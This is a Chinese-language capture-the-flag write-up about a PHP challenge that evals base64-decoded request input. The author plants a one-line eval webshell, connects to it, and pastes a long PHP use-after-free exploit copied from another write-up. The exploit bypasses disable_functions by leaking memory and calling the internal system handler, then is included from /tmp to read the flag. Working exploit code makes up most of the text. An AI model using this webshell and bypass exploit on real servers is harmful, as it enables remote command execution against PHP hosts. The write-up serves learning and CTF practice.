本文共 6003 字，大约阅读时间需要 20 分钟。

• 进入网站直接贴了源码

   code = @$this->x()['Ginkgo'];                $this->decode = @base64_decode( $this->code );                @Eval($this->decode);        }        public function x()        {
                   return $_REQUEST;        }}new ClassName();

• base64编码给Ginkgo传参
• 写了个base64的脚本 希望自己能力越来越强

import base64string = ""a = string.encode('utf-8')base64 = base64.b64encode(a)print(base64.decode('utf-8'))

• 先上传个phpinfo():cGhwaW5mbygpOw==
  
• php版本为7.3 禁用了一堆函数包括解题经常用的system
• 上传一个一句话木马
• eval($_POST[‘shell’]);：ZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOw==
• 蚁剑连接一下
  
• 啥也没有…发现了一个readflag
  
• readflag应该是读取flag的,运行就应该能得到flag 但是这个我是真的不会,自闭的看wp

   = 0; $j--) {
               $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    function ptr2str($ptr, $m = 8) {
           $out = "";        for ($i=0; $i < $m; $i++) {
               $out .= chr($ptr & 0xff);            $ptr >>= 8;        }        return $out;    }    function write(&$str, $p, $v, $n = 8) {
           $i = 0;        for($i = 0; $i < $n; $i++) {
               $str[$p + $i] = chr($v & 0xff);            $v >>= 8;        }    }    function leak($addr, $p = 0, $s = 8) {
           global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) {
    $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    function parse_elf($base) {
           $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {
               $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) {
    # PT_LOAD, PF_Read_Write                # handle pie                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) {
    # PT_LOAD, PF_Read_exec                $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    function get_basic_funcs($base, $elf) {
           list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {
               $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                   $deref = leak($leak);                # 'constant' constant check                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                   $deref = leak($leak);                # 'bin2hex' constant check                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    function get_binary_base($binary_leak) {
           $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {
               $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) {
    # ELF header                return $addr;            }        }    }    function get_system($basic_funcs) {
           $addr = $basic_funcs;        do {
               $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) {
    # system                return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    class ryat {
           var $ryat;        var $chtg;                function __destruct()        {
               $this->chtg = $this->ryat;            $this->ryat = 1;        }    }    class Helper {
           public $a, $b, $c, $d;    }    if(stristr(PHP_OS, 'WIN')) {
           die('This PoC is for *nix systems only.');    }    $n_alloc = 10; # increase this value if you get segfaults    $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_repeat('A', 79);    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';    $out = unserialize($poc);    gc_collect_cycles();    $v = [];    $v[0] = ptr2str(0, 79);    unset($v);    $abc = $out[2][0];    $helper = new Helper;    $helper->b = function ($x) {
    };    if(strlen($abc) == 79 || strlen($abc) == 0) {
           die("UAF failed");    }    # leaks    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    # fake value    write($abc, 0x60, 2);    write($abc, 0x70, 6);    # fake reference    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {
           die("Couldn't determine binary base address");    }    if(!($elf = parse_elf($base))) {
           die("Couldn't parse ELF header");    }    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
           die("Couldn't get basic_functions address");    }    if(!($zif_system = get_system($basic_funcs))) {
           die("Couldn't get zif_system address");    }    # fake closure object    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {
           write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }    # pwn    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4); # internal func type    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler    ($helper->b)($cmd);    exit();}

• 将这个文件放到tmp文件中
  
• 接着在网页传参include(’/tmp/shell.php’);:aW5jbHVkZSgnL3RtcC90ZXN0LnBocCcpOw==
  
• okkk!
• 这里遗留的脚本问题 我明天要再研究一下！！！

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